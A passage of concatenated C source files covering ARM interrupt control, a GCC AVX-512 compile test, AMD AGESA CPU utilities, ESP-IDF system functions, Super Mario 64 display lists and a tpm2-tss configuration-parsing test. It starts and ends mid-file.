~NVIC_DEMCR_VCHARDERR; putreg32(regval, NVIC_DEMCR); } #endif /* And finally, enable interrupts */ #ifndef CONFIG_SUPPRESS_INTERRUPTS up_irq_enable(); #endif } /**************************************************************************** * Name: up_disable_irq * * Description: * Disable the IRQ specified by 'irq' * ****************************************************************************/ void up_disable_irq(int irq) { uintptr_t regaddr; uint32_t regval; uint32_t bit; if (irq >= CXD56_IRQ_EXTINT) { #ifdef CONFIG_SMP /* Obtain cpu number which enabled this irq */ int8_t cpu = g_cpu_for_irq[irq]; if (-1 == cpu) { /* Already disabled */ return; } /* If a different cpu requested, send an irq request */ if (cpu != (int8_t)up_cpu_index()) { up_send_irqreq(1, irq, cpu); return; } g_cpu_for_irq[irq] = -1; #endif irqstate_t flags = spin_lock_irqsave(NULL); irq -= CXD56_IRQ_EXTINT; bit = 1 << (irq & 0x1f); regval = getreg32(INTC_EN(irq)); regval &= ~bit; putreg32(regval, INTC_EN(irq)); spin_unlock_irqrestore(NULL, flags); putreg32(bit, NVIC_IRQ_CLEAR(irq)); } else { if (excinfo(irq, &regaddr, &bit) == OK) { regval = getreg32(regaddr); regval &= ~bit; putreg32(regval, regaddr); } } cxd56_dumpnvic("disable", irq); } /**************************************************************************** * Name: up_enable_irq * * Description: * Enable the IRQ specified by 'irq' * ****************************************************************************/ void up_enable_irq(int irq) { uintptr_t regaddr; uint32_t regval; uint32_t bit; if (irq >= CXD56_IRQ_EXTINT) { #ifdef CONFIG_SMP int cpu = up_cpu_index(); /* Set the caller cpu for this irq */ g_cpu_for_irq[irq] = (int8_t)cpu; /* EXTINT needs to be handled on CPU0 to avoid deadlock */ if (irq > CXD56_IRQ_EXTINT && irq != CXD56_IRQ_SW_INT && 0 != cpu) { up_send_irqreq(0, irq, 0); return; } #endif irqstate_t flags = spin_lock_irqsave(NULL); irq -= CXD56_IRQ_EXTINT; bit = 1 << (irq & 0x1f); regval = getreg32(INTC_EN(irq)); regval |= bit; putreg32(regval, INTC_EN(irq)); spin_unlock_irqrestore(NULL, flags); putreg32(bit, NVIC_IRQ_ENABLE(irq)); } else { if (excinfo(irq, &regaddr, &bit) == OK) { regval = getreg32(regaddr); regval |= bit; putreg32(regval, regaddr); } } cxd56_dumpnvic("enable", irq); } /**************************************************************************** * Name: arm_ack_irq * * Description: * Acknowledge the IRQ * ****************************************************************************/ void arm_ack_irq(int irq) { #ifdef CONFIG_ARCH_LEDS_CPU_ACTIVITY board_autoled_on(LED_CPU); #endif /* Check for external interrupt */ if (irq >= CXD56_IRQ_EXTINT) { irq -= CXD56_IRQ_EXTINT; putreg32(1 << (irq & 0x1f), NVIC_IRQ_CLRPEND(irq)); } } /**************************************************************************** * Name: up_prioritize_irq * * Description: * Set the priority of an IRQ. * * Since this API is not supported on all architectures, it should be * avoided in common implementations where possible. * ****************************************************************************/ #ifdef CONFIG_ARCH_IRQPRIO int up_prioritize_irq(int irq, int priority) { uint32_t regaddr; uint32_t regval; int shift; DEBUGASSERT(irq >= CXD56_IRQ_MEMFAULT && irq < NR_IRQS && (unsigned)priority <= NVIC_SYSH_PRIORITY_MIN); if (irq < CXD56_IRQ_EXTINT) { /* NVIC_SYSH_PRIORITY() maps {0..15} to one of three priority * registers (0-3 are invalid) */ regaddr = NVIC_SYSH_PRIORITY(irq); irq -= 4; } else { /* NVIC_IRQ_PRIORITY() maps {0..} to one of many priority registers */ irq -= CXD56_IRQ_EXTINT; regaddr = NVIC_IRQ_PRIORITY(irq); } regval = getreg32(regaddr); shift = ((irq & 3) << 3); regval &= ~(0xff << shift); regval |= (priority << shift); putreg32(regval, regaddr); cxd56_dumpnvic("prioritize", irq); return OK; } #endif /**************************************************************************** * Name: arm_intstack_top * * Description: * Return a pointer to the top the correct interrupt stack allocation * for the current CPU. * ****************************************************************************/ #if defined(CONFIG_SMP) && CONFIG_ARCH_INTERRUPTSTACK > 7 uintptr_t arm_intstack_top(void) { return g_cpu_intstack_top[up_cpu_index()]; } #endif /**************************************************************************** * Name: arm_intstack_alloc * * Description: * Return a pointer to the "alloc" the correct interrupt stack allocation * for the current CPU. * ****************************************************************************/ #if defined(CONFIG_SMP) && CONFIG_ARCH_INTERRUPTSTACK > 7 uintptr_t arm_intstack_alloc(void) { return g_cpu_intstack_top[up_cpu_index()] - INTSTACK_SIZE; } #endif
450364.c
/* { dg-do compile } */ /* { dg-options "-O2 -mavx512vl" } */ /* { dg-final { scan-assembler-times "vaddps\[ \\t\]+\[^\{\n\]*%xmm\[0-9\]+\{%k\[1-7\]\}(?:\n|\[ \\t\]+#)" 1 } } */ /* { dg-final { scan-assembler-times "vaddps\[ \\t\]+\[^\{\n\]*%xmm\[0-9\]+\{%k\[1-7\]\}\{z\}(?:\n|\[ \\t\]+#)" 1 } } */ /* { dg-final { scan-assembler-times "vaddps\[ \\t\]+\[^\{\n\]*%ymm\[0-9\]+\{%k\[1-7\]\}(?:\n|\[ \\t\]+#)" 1 } } */ /* { dg-final { scan-assembler-times "vaddps\[ \\t\]+\[^\{\n\]*%ymm\[0-9\]+\{%k\[1-7\]\}\{z\}(?:\n|\[ \\t\]+#)" 1 } } */ #include <immintrin.h> volatile __m128 x128; volatile __m256 x256; volatile __mmask8 m; void extern avx512vl_test (void) { x128 = _mm_mask_add_ps (x128, m, x128, x128); x128 = _mm_maskz_add_ps (m, x128, x128); x256 = _mm256_mask_add_ps (x256, m, x256, x256); x256 = _mm256_maskz_add_ps (m, x256, x256); }
610136.c
/* $NoKeywords:$ */ /** * @file * * AMD Family_15 specific utility functions. * * Provides numerous utility functions specific to family 15h. * * @xrefitem bom "File Content Label" "Release Content" * @e project: AGESA * @e sub-project: CPU/Family/0x15 * @e \$Revision: 44737 $ @e \$Date: 2011-01-05 00:59:55 -0700 (Wed, 05 Jan 2011) $ * */ /* ***************************************************************************** * * Copyright (C) 2012 Advanced Micro Devices, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of Advanced Micro Devices, Inc. nor the names of * its contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL ADVANCED MICRO DEVICES, INC. BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************** */ /*---------------------------------------------------------------------------------------- * M O D U L E S U S E D *---------------------------------------------------------------------------------------- */ #include "AGESA.h" #include "amdlib.h" #include "Ids.h" #include "cpuRegisters.h" #include "cpuServices.h" #include "GeneralServices.h" #include "cpuApicUtilities.h" #include "cpuFamilyTranslation.h" #include "cpuCommonF15Utilities.h" #include "cpuF15PowerMgmt.h" #include "Filecode.h" CODE_GROUP (G2_PEI) RDATA_GROUP (G2_PEI) #define FILECODE PROC_CPU_FAMILY_0X15_CPUCOMMONF15UTILITIES_FILECODE /*---------------------------------------------------------------------------------------- * D E F I N I T I O N S A N D M A C R O S *---------------------------------------------------------------------------------------- */ /*---------------------------------------------------------------------------------------- * T Y P E D E F S A N D S T R U C T U R E S *---------------------------------------------------------------------------------------- */ /*---------------------------------------------------------------------------------------- * P R O T O T Y P E S O F L O C A L F U N C T I O N S *---------------------------------------------------------------------------------------- */ /*---------------------------------------------------------------------------------------- * E X P O R T E D F U N C T I O N S *---------------------------------------------------------------------------------------- */ /*---------------------------------------------------------------------------------------*/ /** * Set warm reset status and count * * @CpuServiceMethod{::F_CPU_SET_WARM_RESET_FLAG}. * * This function will use bit9, and bit 10 of register F0x6C as a warm reset status and count. * * @param[in] FamilySpecificServices The current Family Specific Services. * @param[in] StdHeader Handle of Header for calling lib functions and services. * @param[in] Request Indicate warm reset status * */ VOID F15SetAgesaWarmResetFlag ( IN CPU_SPECIFIC_SERVICES *FamilySpecificServices, IN AMD_CONFIG_PARAMS *StdHeader, IN WARM_RESET_REQUEST *Request ) { PCI_ADDR PciAddress; UINT32 PciData; PciAddress.AddressValue = MAKE_SBDFO (0, 0 , PCI_DEV_BASE, FUNC_0, HT_INIT_CTRL); LibAmdPciRead (AccessWidth32, PciAddress, &PciData, StdHeader); // bit[5] - indicate a warm reset is or is not required PciData &= ~(HT_INIT_BIOS_RST_DET_0); PciData = PciData | (Request->RequestBit << 5); // bit[10,9] - indicate warm reset status and count PciData &= ~(HT_INIT_BIOS_RST_DET_1 | HT_INIT_BIOS_RST_DET_2); PciData |= Request->StateBits << 9; LibAmdPciWrite (AccessWidth32, PciAddress, &PciData, StdHeader); } /*---------------------------------------------------------------------------------------*/ /** * Get warm reset status and count * * @CpuServiceMethod{::F_CPU_GET_WARM_RESET_FLAG}. * * This function will bit9, and bit 10 of register F0x6C as a warm reset status and count. * * @param[in] FamilySpecificServices The current Family Specific Services. * @param[in] StdHeader Config handle for library and services * @param[out] Request Indicate warm reset status * */ VOID F15GetAgesaWarmResetFlag ( IN CPU_SPECIFIC_SERVICES *FamilySpecificServices, IN AMD_CONFIG_PARAMS *StdHeader, OUT WARM_RESET_REQUEST *Request ) { PCI_ADDR PciAddress; UINT32 PciData; PciAddress.AddressValue = MAKE_SBDFO (0, 0 , PCI_DEV_BASE, FUNC_0, HT_INIT_CTRL); LibAmdPciRead (AccessWidth32, PciAddress, &PciData, StdHeader); // bit[5] - indicate a warm reset is or is not required Request->RequestBit = (UINT8) ((PciData & HT_INIT_BIOS_RST_DET_0) >> 5); // bit[10,9] - indicate warm reset status and count Request->StateBits = (UINT8) ((PciData & (HT_INIT_BIOS_RST_DET_1 | HT_INIT_BIOS_RST_DET_2)) >> 9); } /*---------------------------------------------------------------------------------------*/ /** * Return a number zero or one, based on the Core ID position in the initial APIC Id. * * @CpuServiceMethod{::F_CORE_ID_POSITION_IN_INITIAL_APIC_ID}. * * @param[in] FamilySpecificServices The current Family Specific Services. * @param[in] StdHeader Handle of Header for calling lib functions and services. * * @retval CoreIdPositionZero Core Id is not low * @retval CoreIdPositionOne Core Id is low */ CORE_ID_POSITION F15CpuAmdCoreIdPositionInInitialApicId ( IN CPU_SPECIFIC_SERVICES *FamilySpecificServices, IN AMD_CONFIG_PARAMS *StdHeader ) { UINT64 InitApicIdCpuIdLo; // Check bit_54 [InitApicIdCpuIdLo] to find core id position. LibAmdMsrRead (MSR_NB_CFG, &InitApicIdCpuIdLo, StdHeader); InitApicIdCpuIdLo = ((InitApicIdCpuIdLo & BIT54) >> 54); return ((InitApicIdCpuIdLo == 0) ? CoreIdPositionZero : CoreIdPositionOne); }
637670.c
// Copyright 2013-2016 Espressif Systems (Shanghai) PTE LTD // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include <string.h> #include "esp_system.h" #include "esp_attr.h" #include "esp_wifi.h" #include "esp_private/wifi.h" #include "esp_log.h" #include "sdkconfig.h" #include "esp32s2beta/rom/efuse.h" #include "esp32s2beta/rom/cache.h" #include "esp32s2beta/rom/uart.h" #include "soc/dport_reg.h" #include "soc/gpio_reg.h" #include "soc/rtc_cntl_reg.h" #include "soc/timer_group_reg.h" #include "soc/timer_group_struct.h" #include "soc/cpu.h" #include "soc/rtc.h" #include "soc/rtc_wdt.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "freertos/xtensa_api.h" #include "esp_heap_caps.h" #include "soc/syscon_reg.h" #include "esp_efuse.h" #include "esp_efuse_table.h" static const char* TAG = "system_api"; static uint8_t base_mac_addr[6] = { 0 }; #define SHUTDOWN_HANDLERS_NO 2 static shutdown_handler_t shutdown_handlers[SHUTDOWN_HANDLERS_NO]; void system_init(void) { } esp_err_t esp_base_mac_addr_set(uint8_t *mac) { if (mac == NULL) { ESP_LOGE(TAG, "Base MAC address is NULL"); abort(); } memcpy(base_mac_addr, mac, 6); return ESP_OK; } esp_err_t esp_base_mac_addr_get(uint8_t *mac) { uint8_t null_mac[6] = {0}; if (memcmp(base_mac_addr, null_mac, 6) == 0) { ESP_LOGI(TAG, "Base MAC address is not set, read default base MAC address from BLK0 of EFUSE"); return ESP_ERR_INVALID_MAC; } memcpy(mac, base_mac_addr, 6); return ESP_OK; } esp_err_t esp_efuse_mac_get_custom(uint8_t *mac) { return ESP_ERR_NOT_SUPPORTED; } esp_err_t esp_efuse_mac_get_default(uint8_t* mac) { return esp_efuse_read_field_blob(ESP_EFUSE_MAC_FACTORY, mac, 48); } esp_err_t system_efuse_read_mac(uint8_t *mac) __attribute__((alias("esp_efuse_mac_get_default"))); esp_err_t esp_efuse_read_mac(uint8_t *mac) __attribute__((alias("esp_efuse_mac_get_default"))); esp_err_t esp_derive_mac(uint8_t* local_mac, const uint8_t* universal_mac) { uint8_t idx; if (local_mac == NULL || universal_mac == NULL) { ESP_LOGE(TAG, "mac address param is NULL"); return ESP_ERR_INVALID_ARG; } memcpy(local_mac, universal_mac, 6); for (idx = 0; idx < 64; idx++) { local_mac[0] = universal_mac[0] | 0x02; local_mac[0] ^= idx << 2; if (memcmp(local_mac, universal_mac, 6)) { break; } } return ESP_OK; } esp_err_t esp_read_mac(uint8_t* mac, esp_mac_type_t type) { uint8_t efuse_mac[6]; if (mac == NULL) { ESP_LOGE(TAG, "mac address param is NULL"); return ESP_ERR_INVALID_ARG; } if (type < ESP_MAC_WIFI_STA || type > ESP_MAC_ETH) { ESP_LOGE(TAG, "mac type is incorrect"); return ESP_ERR_INVALID_ARG; } _Static_assert(UNIVERSAL_MAC_ADDR_NUM == FOUR_UNIVERSAL_MAC_ADDR \ || UNIVERSAL_MAC_ADDR_NUM == TWO_UNIVERSAL_MAC_ADDR, \ "incorrect NUM_MAC_ADDRESS_FROM_EFUSE value"); if (esp_base_mac_addr_get(efuse_mac) != ESP_OK) { esp_efuse_mac_get_default(efuse_mac); } switch (type) { case ESP_MAC_WIFI_STA: memcpy(mac, efuse_mac, 6); break; case ESP_MAC_WIFI_SOFTAP: if (UNIVERSAL_MAC_ADDR_NUM == FOUR_UNIVERSAL_MAC_ADDR) { memcpy(mac, efuse_mac, 6); mac[5] += 1; } else if (UNIVERSAL_MAC_ADDR_NUM == TWO_UNIVERSAL_MAC_ADDR) { esp_derive_mac(mac, efuse_mac); } break; case ESP_MAC_BT: memcpy(mac, efuse_mac, 6); if (UNIVERSAL_MAC_ADDR_NUM == FOUR_UNIVERSAL_MAC_ADDR) { mac[5] += 2; } else if (UNIVERSAL_MAC_ADDR_NUM == TWO_UNIVERSAL_MAC_ADDR) { mac[5] += 1; } break; case ESP_MAC_ETH: if (UNIVERSAL_MAC_ADDR_NUM == FOUR_UNIVERSAL_MAC_ADDR) { memcpy(mac, efuse_mac, 6); mac[5] += 3; } else if (UNIVERSAL_MAC_ADDR_NUM == TWO_UNIVERSAL_MAC_ADDR) { efuse_mac[5] += 1; esp_derive_mac(mac, efuse_mac); } break; default: ESP_LOGW(TAG, "incorrect mac type"); break; } return ESP_OK; } esp_err_t esp_register_shutdown_handler(shutdown_handler_t handler) { int i; for (i = 0; i < SHUTDOWN_HANDLERS_NO; i++) { if (shutdown_handlers[i] == NULL) { shutdown_handlers[i] = handler; return ESP_OK; } } return ESP_FAIL; } esp_err_t esp_unregister_shutdown_handler(shutdown_handler_t handler) { for (int i = 0; i < SHUTDOWN_HANDLERS_NO; i++) { if (shutdown_handlers[i] == handler) { shutdown_handlers[i] = NULL; return ESP_OK; } } return ESP_ERR_INVALID_STATE; } void esp_restart_noos(void) __attribute__ ((noreturn)); void IRAM_ATTR esp_restart(void) { int i; for (i = 0; i < SHUTDOWN_HANDLERS_NO; i++) { if (shutdown_handlers[i]) { shutdown_handlers[i](); } } // Disable scheduler on this core. vTaskSuspendAll(); esp_restart_noos(); } /* "inner" restart function for after RTOS, interrupts & anything else on this * core are already stopped. Stalls other core, resets hardware, * triggers restart. */ void IRAM_ATTR esp_restart_noos(void) { // Disable interrupts xt_ints_off(0xFFFFFFFF); // Enable RTC watchdog for 1 second rtc_wdt_protect_off(); rtc_wdt_disable(); rtc_wdt_set_stage(RTC_WDT_STAGE0, RTC_WDT_STAGE_ACTION_RESET_RTC); rtc_wdt_set_stage(RTC_WDT_STAGE1, RTC_WDT_STAGE_ACTION_RESET_SYSTEM); rtc_wdt_set_length_of_reset_signal(RTC_WDT_SYS_RESET_SIG, RTC_WDT_LENGTH_200ns); rtc_wdt_set_length_of_reset_signal(RTC_WDT_CPU_RESET_SIG, RTC_WDT_LENGTH_200ns); rtc_wdt_set_time(RTC_WDT_STAGE0, 1000); rtc_wdt_flashboot_mode_enable(); // Reset and stall the other CPU. // CPU must be reset before stalling, in case it was running a s32c1i // instruction. This would cause memory pool to be locked by arbiter // to the stalled CPU, preventing current CPU from accessing this pool. const uint32_t core_id = xPortGetCoreID(); #if !CONFIG_FREERTOS_UNICORE const uint32_t other_core_id = (core_id == 0) ? 1 : 0; esp_cpu_reset(other_core_id); esp_cpu_stall(other_core_id); #endif // Disable TG0/TG1 watchdogs TIMERG0.wdt_wprotect=TIMG_WDT_WKEY_VALUE; TIMERG0.wdt_config0.en = 0; TIMERG0.wdt_wprotect=0; TIMERG1.wdt_wprotect=TIMG_WDT_WKEY_VALUE; TIMERG1.wdt_config0.en = 0; TIMERG1.wdt_wprotect=0; // Flush any data left in UART FIFOs uart_tx_wait_idle(0); uart_tx_wait_idle(1); // Disable cache Cache_Disable_ICache(); Cache_Disable_DCache(); // 2nd stage bootloader reconfigures SPI flash signals. // Reset them to the defaults expected by ROM. WRITE_PERI_REG(GPIO_FUNC0_IN_SEL_CFG_REG, 0x30); WRITE_PERI_REG(GPIO_FUNC1_IN_SEL_CFG_REG, 0x30); WRITE_PERI_REG(GPIO_FUNC2_IN_SEL_CFG_REG, 0x30); WRITE_PERI_REG(GPIO_FUNC3_IN_SEL_CFG_REG, 0x30); WRITE_PERI_REG(GPIO_FUNC4_IN_SEL_CFG_REG, 0x30); WRITE_PERI_REG(GPIO_FUNC5_IN_SEL_CFG_REG, 0x30); // Reset wifi/bluetooth/ethernet/sdio (bb/mac) DPORT_SET_PERI_REG_MASK(DPORT_CORE_RST_EN_REG, DPORT_BB_RST | DPORT_FE_RST | DPORT_MAC_RST | DPORT_BT_RST | DPORT_BTMAC_RST | DPORT_SDIO_RST | DPORT_SDIO_HOST_RST | DPORT_EMAC_RST | DPORT_MACPWR_RST | DPORT_RW_BTMAC_RST | DPORT_RW_BTLP_RST); DPORT_REG_WRITE(DPORT_CORE_RST_EN_REG, 0); // Reset timer/spi/uart DPORT_SET_PERI_REG_MASK(DPORT_PERIP_RST_EN_REG, DPORT_TIMERS_RST | DPORT_SPI01_RST | DPORT_UART_RST); DPORT_REG_WRITE(DPORT_PERIP_RST_EN_REG, 0); // Set CPU back to XTAL source, no PLL, same as hard reset rtc_clk_cpu_freq_set(RTC_CPU_FREQ_XTAL); #if !CONFIG_FREERTOS_UNICORE // Clear entry point for APP CPU DPORT_REG_WRITE(DPORT_APPCPU_CTRL_D_REG, 0); #endif // Reset CPUs if (core_id == 0) { // Running on PRO CPU: APP CPU is stalled. Can reset both CPUs. #if !CONFIG_FREERTOS_UNICORE esp_cpu_reset(1); #endif esp_cpu_reset(0); } #if !CONFIG_FREERTOS_UNICORE else { // Running on APP CPU: need to reset PRO CPU and unstall it, // then reset APP CPU esp_cpu_reset(0); esp_cpu_unstall(0); esp_cpu_reset(1); } #endif while(true) { ; } } void system_restart(void) __attribute__((alias("esp_restart"))); uint32_t esp_get_free_heap_size( void ) { return heap_caps_get_free_size( MALLOC_CAP_DEFAULT ); } uint32_t esp_get_minimum_free_heap_size( void ) { return heap_caps_get_minimum_free_size( MALLOC_CAP_DEFAULT ); } uint32_t system_get_free_heap_size(void) __attribute__((alias("esp_get_free_heap_size"))); const char* system_get_sdk_version(void) { return "master"; } const char* esp_get_idf_version(void) { return IDF_VER; } void esp_chip_info(esp_chip_info_t* out_info) { memset(out_info, 0, sizeof(*out_info)); out_info->model = CHIP_ESP32S2BETA; out_info->cores = 1; out_info->features = CHIP_FEATURE_WIFI_BGN; // FIXME: other features? }
903694.c
// 0x070285F0 - 0x07028660 const Gfx ssl_dl_pyramid_sand_pathway_floor_begin[] = { gsDPPipeSync(), gsDPSetCycleType(G_CYC_2CYCLE), gsDPSetRenderMode(G_RM_FOG_SHADE_A, G_RM_AA_ZB_OPA_INTER2), gsDPSetDepthSource(G_ZS_PIXEL), gsDPSetFogColor(0, 0, 0, 255), gsSPFogFactor(0x0E49, 0xF2B7), // This isn't gsSPFogPosition since there is no valid min/max pair that corresponds to 0x0E49F2B7 gsSPSetGeometryMode(G_FOG), gsDPSetCombineMode(G_CC_DECALRGB, G_CC_PASS2), gsSPClearGeometryMode(G_LIGHTING | G_CULL_BACK), gsSPTexture(0xFFFF, 0xFFFF, 0, G_TX_RENDERTILE, G_ON), gsDPTileSync(), gsDPSetTile(G_IM_FMT_RGBA, G_IM_SIZ_16b, 8, 0, G_TX_RENDERTILE, 0, G_TX_WRAP | G_TX_NOMIRROR, 5, G_TX_NOLOD, G_TX_WRAP | G_TX_NOMIRROR, 5, G_TX_NOLOD), gsDPSetTileSize(0, 0, 0, (32 - 1) << G_TEXTURE_IMAGE_FRAC, (32 - 1) << G_TEXTURE_IMAGE_FRAC), gsSPEndDisplayList(), }; // 0x07028660 - 0x070286A0 const Gfx ssl_dl_pyramid_sand_pathway_floor_end[] = { gsSPTexture(0xFFFF, 0xFFFF, 0, G_TX_RENDERTILE, G_OFF), gsDPPipeSync(), gsDPSetCycleType(G_CYC_1CYCLE), gsSPGeometryModeSetFirst(G_FOG, G_LIGHTING | G_CULL_BACK), gsDPSetCombineMode(G_CC_SHADE, G_CC_SHADE), gsDPSetRenderMode(G_RM_AA_ZB_OPA_INTER, G_RM_NOOP2), gsSPEndDisplayList(), }; // 0x070286A0 - 0x07028718 const Gfx ssl_dl_pyramid_sand_pathway_begin[] = { gsDPPipeSync(), gsDPSetCycleType(G_CYC_2CYCLE), gsDPSetRenderMode(G_RM_FOG_SHADE_A, G_RM_AA_ZB_XLU_INTER2), gsDPSetDepthSource(G_ZS_PIXEL), gsDPSetFogColor(0, 0, 0, 255), gsSPFogFactor(0x0E49, 0xF2B7), // This isn't gsSPFogPosition since there is no valid min/max pair that corresponds to 0x0E49F2B7 gsSPSetGeometryMode(G_FOG), gsDPSetEnvColor(255, 255, 255, 180), gsDPSetCombineMode(G_CC_DECALFADE, G_CC_PASS2), gsSPClearGeometryMode(G_LIGHTING | G_CULL_BACK), gsSPTexture(0xFFFF, 0xFFFF, 0, G_TX_RENDERTILE, G_ON), gsDPTileSync(), gsDPSetTile(G_IM_FMT_RGBA, G_IM_SIZ_16b, 8, 0, G_TX_RENDERTILE, 0, G_TX_WRAP | G_TX_NOMIRROR, 5, G_TX_NOLOD, G_TX_WRAP | G_TX_NOMIRROR, 5, G_TX_NOLOD), gsDPSetTileSize(0, 0, 0, (32 - 1) << G_TEXTURE_IMAGE_FRAC, (32 - 1) << G_TEXTURE_IMAGE_FRAC), gsSPEndDisplayList(), }; // 0x07028718 - 0x07028760 const Gfx ssl_dl_pyramid_sand_pathway_end[] = { gsSPTexture(0xFFFF, 0xFFFF, 0, G_TX_RENDERTILE, G_OFF), gsDPPipeSync(), gsDPSetCycleType(G_CYC_1CYCLE), gsSPGeometryModeSetFirst(G_FOG, G_LIGHTING | G_CULL_BACK), gsDPSetEnvColor(255, 255, 255, 255), gsDPSetCombineMode(G_CC_SHADE, G_CC_SHADE), gsDPSetRenderMode(G_RM_AA_ZB_XLU_INTER, G_RM_NOOP2), gsSPEndDisplayList(), }; // 0x07028760 - 0x070287B8 Movtex ssl_movtex_tris_pyramid_sand_pathway_front[] = { MOV_TEX_SPD( 50), MOV_TEX_TRIS( 102, 1229, -742, 0, 0), MOV_TEX_TRIS( 102, 4275, -742, 5, 0), MOV_TEX_TRIS( 102, 4300, -768, 6, 0), MOV_TEX_TRIS( 102, 4300, -870, 8, 0), MOV_TEX_TRIS(-102, 1229, -742, 0, 1), MOV_TEX_TRIS(-102, 4275, -742, 5, 1), MOV_TEX_TRIS(-102, 4300, -768, 6, 1), MOV_TEX_TRIS(-102, 4300, -870, 8, 1), MOV_TEX_END(), 0, // alignment? }; // 0x070287B8 - 0x070287F0 const Gfx ssl_dl_pyramid_sand_pathway_front_end[] = { gsSP2Triangles( 0, 1, 4, 0x0, 4, 1, 5, 0x0), gsSP2Triangles( 1, 2, 5, 0x0, 5, 2, 6, 0x0), gsSP2Triangles( 2, 3, 6, 0x0, 6, 3, 7, 0x0), gsSPEndDisplayList(), }; // 0x070287F0 - 0x07028844 Movtex ssl_movtex_tris_pyramid_sand_pathway_floor[] = { MOV_TEX_SPD( 8), MOV_TEX_TRIS( 1178, 1229, 2150, 0, 0), MOV_TEX_TRIS(-1741, 1229, 2150, 2, 0), MOV_TEX_TRIS(-1741, 1229, -589, 4, 0), MOV_TEX_TRIS( 154, 1229, -589, 5, 0), MOV_TEX_TRIS( 1178, 1229, 2560, 0, 1), MOV_TEX_TRIS(-2150, 1229, 2560, 2, 1), MOV_TEX_TRIS(-2150, 1229, -794, 4, 1), MOV_TEX_TRIS( 154, 1229, -794, 5, 1), MOV_TEX_END(), }; // 0x07028844 - 0x07028888 Movtex ssl_movtex_tris_pyramid_sand_pathway_side[] = { MOV_TEX_SPD( 50), MOV_TEX_TRIS(1229, -307, 2150, 0, 0), MOV_TEX_TRIS(1229, 1168, 2150, 1, 0), MOV_TEX_TRIS(1178, 1229, 2150, 2, 0), MOV_TEX_TRIS(1229, -307, 2560, 0, 1), MOV_TEX_TRIS(1229, 1168, 2560, 1, 1), MOV_TEX_TRIS(1178, 1229, 2560, 2, 1), MOV_TEX_END(), 0, // alignment? }; // 0x07028888 - 0x070288B0 const Gfx ssl_dl_pyramid_sand_pathway_side_end[] = { gsSP2Triangles( 0, 1, 3, 0x0, 1, 4, 3, 0x0), gsSP2Triangles( 1, 2, 4, 0x0, 2, 5, 4, 0x0), gsSPEndDisplayList(), };
197939.c
/* SPDX-License-Identifier: BSD-2 */ /***********************************************************************; * Copyright (c) 2015 - 2018, Intel Corporation * All rights reserved. ***********************************************************************/ #include <inttypes.h> #include <limits.h> #include <stdio.h> #include <stdbool.h> #include <stdlib.h> #include <string.h> #include <setjmp.h> #include <cmocka.h> #include "tss2_tcti.h" #include "tss2_tcti_mssim.h" #include "tss2-tcti/tcti-common.h" #include "tss2-tcti/tcti-mssim.h" #include "util/key-value-parse.h" /* * This function is defined in the tcti-mssim module but not exposed through * the header. */ TSS2_RC mssim_kv_callback (const key_value_t *key_value, void *user_data); /* * This tests our ability to handle conf strings that have a port * component. In this case the 'conf_str_to_host_port' function * should set the 'port' parameter and so we check to be sure it's * set. */ static void conf_str_to_host_port_success_test (void **state) { TSS2_RC rc; char conf[] = "host=127.0.0.1,port=2321"; mssim_conf_t mssim_conf = { 0 }; rc = parse_key_value_string (conf, mssim_kv_callback, &mssim_conf); assert_int_equal (rc, TSS2_RC_SUCCESS); assert_int_equal (mssim_conf.port, 2321); assert_string_equal (mssim_conf.host, "127.0.0.1"); } /* * This tests our ability to handle conf strings that don't have the port * component of the URI. In this case the 'conf_str_to_host_port' function * should not touch the 'port' parameter and so we check to be sure it's * unchanged. */ #define NO_PORT_VALUE 646 static void conf_str_to_host_port_no_port_test (void **state) { TSS2_RC rc; char conf[] = "host=127.0.0.1"; mssim_conf_t mssim_conf = { .host = "foo", .port = NO_PORT_VALUE, }; rc = parse_key_value_string (conf, mssim_kv_callback, &mssim_conf); assert_int_equal (rc, TSS2_RC_SUCCESS); assert_string_equal (mssim_conf.host, "127.0.0.1"); assert_int_equal (mssim_conf.port, NO_PORT_VALUE); } /* * This tests our ability to handle conf strings that have an IPv6 address * and port component. In this case the 'conf_str_to_host_port' function * should set the 'hostname' parameter and so we check to be sure it's * set without the [] brackets. */ static void conf_str_to_host_ipv6_port_success_test (void **state) { TSS2_RC rc; char conf[] = "host=::1,port=2321"; mssim_conf_t mssim_conf = { 0 }; rc = parse_key_value_string (conf, mssim_kv_callback, &mssim_conf); assert_int_equal (rc, TSS2_RC_SUCCESS); assert_int_equal (mssim_conf.port, 2321); assert_string_equal (mssim_conf.host, "::1"); } /* * This tests our ability to handle conf strings that have an IPv6 address * but no port component. In this case the 'conf_str_to_host_port' function * should not touch the 'port' parameter and so we check to be sure it's * unchanged. */ static void conf_str_to_host_ipv6_port_no_port_test (void **state) { TSS2_RC rc; char conf[] = "host=::1"; mssim_conf_t mssim_conf = { .port = NO_PORT_VALUE }; rc = parse_key_value_string (conf, 